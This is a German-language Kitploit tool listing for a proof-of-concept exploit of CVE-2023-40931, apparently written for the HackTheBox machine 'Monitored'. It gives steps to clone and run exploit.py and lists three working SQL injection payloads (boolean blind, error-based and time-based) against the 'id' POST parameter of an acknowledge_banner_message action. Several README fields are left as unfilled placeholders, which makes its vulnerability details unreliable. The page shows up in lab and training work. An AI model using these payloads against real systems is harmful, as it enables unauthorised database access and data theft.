Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-40931-POC — CVE-2023-40931 Proof of Concept erstellt für HTB MONITORED | Kitploit
Tools/GitHubGitHub/g4sp4rcs/cve-2023-40931-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubg4sp4rcs/cve-2023-40931-poc

CVE-2023-40931-POC

CVE-2023-40931 Proof of Concept erstellt für HTB MONITORED

Repository anzeigen
vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-40931 Proof of Concept (PoC) 🚨

Dieses Repository enthält einen Proof of Concept (PoC) für CVE-2023-40931, eine Sicherheitslücke, die in [betroffene Software/System] identifiziert wurde. Der Zweck dieses Repositorys ist es, die Schwachstelle ausschließlich zu Bildungs- und Forschungszwecken zu demonstrieren. 🛠️

Haftungsausschluss ⚠️

Dieses Projekt ist ausschließlich für Bildungszwecke und autorisierte Tests gedacht. Missbrauch dieses Codes kann rechtliche Konsequenzen haben. Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch diesen Code verursacht werden. Holen Sie stets eine ordnungsgemäße Genehmigung ein, bevor Sie ein System testen. 🔒

Details 📋

  • CVE ID: CVE-2023-40931
  • Schwachstellentyp: [Art der Schwachstelle, z. B. Remote Code Execution, Privilege Escalation]
  • Betroffene Software: [Name und Version der betroffenen Software]
  • Schweregrad: [Schweregrad, z. B. Kritisch, Hoch] 🚩

Weitere Informationen finden Sie im offiziellen CVE-Eintrag: CVE-2023-40931. 🔗

Verwendung 🚀

  1. Klonen Sie das Repository:

    root@kitploit:~
    git clone https://github.com/yourusername/CVE-2023-40931-POC.git
cd CVE-2023-40931-POC
python3 exploit.py

Der POST-Parameter 'id' ist verwundbar. Die folgenden Payloads haben die Schwachstelle erfolgreich ausgenutzt:

  • Boolesche Blind-SQL-Injection: Dieser Payload nutzt eine bedingte Anweisung, um den Wahrheitswert einer Abfrage zu bestimmen, was die Datenextraktion durch boolesche Logik ermöglicht.

    • Payload: action=acknowledge_banner_message&id=(SELECT (CASE WHEN (2064=2064) THEN 3 ELSE (SELECT 4367 UNION SELECT 3803) END))

  • Fehlerbasierte SQL-Injection: Dieser Payload nutzt Datenbank-Fehlermeldungen aus, um Informationen zu extrahieren, indem er bestimmte Fehler auslöst.

    • Payload: action=acknowledge_banner_message&id=3 OR (SELECT 9867 FROM(SELECT COUNT(*),CONCAT(0x71787a7671,(SELECT (ELT(9867=9867,1))),0x716a786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

  • Zeitbasierte Blind-SQL-Injection: Dieser Payload nutzt Zeitverzögerungen, um Informationen abzuleiten, indem er die Antwortzeit des Servers beobachtet.

    • Payload: action=acknowledge_banner_message&id=3 AND (SELECT 9475 FROM (SELECT(SLEEP(5)))Robc)

Diese Payloads zeigen die Anfälligkeit der Schwachstelle für SQL-Injection-Angriffe. Gehen Sie mit Vorsicht vor und stellen Sie sicher, dass Sie vor dem Testen ordnungsgemäß autorisiert sind. 🔒

  • Befolgen Sie die Anweisungen in der Datei exploit.py, um den PoC auszuführen. 🧑‍💻

    Hinweis: Stellen Sie sicher, dass die erforderlichen Abhängigkeiten installiert sind. ✅

    • Tool herunterladen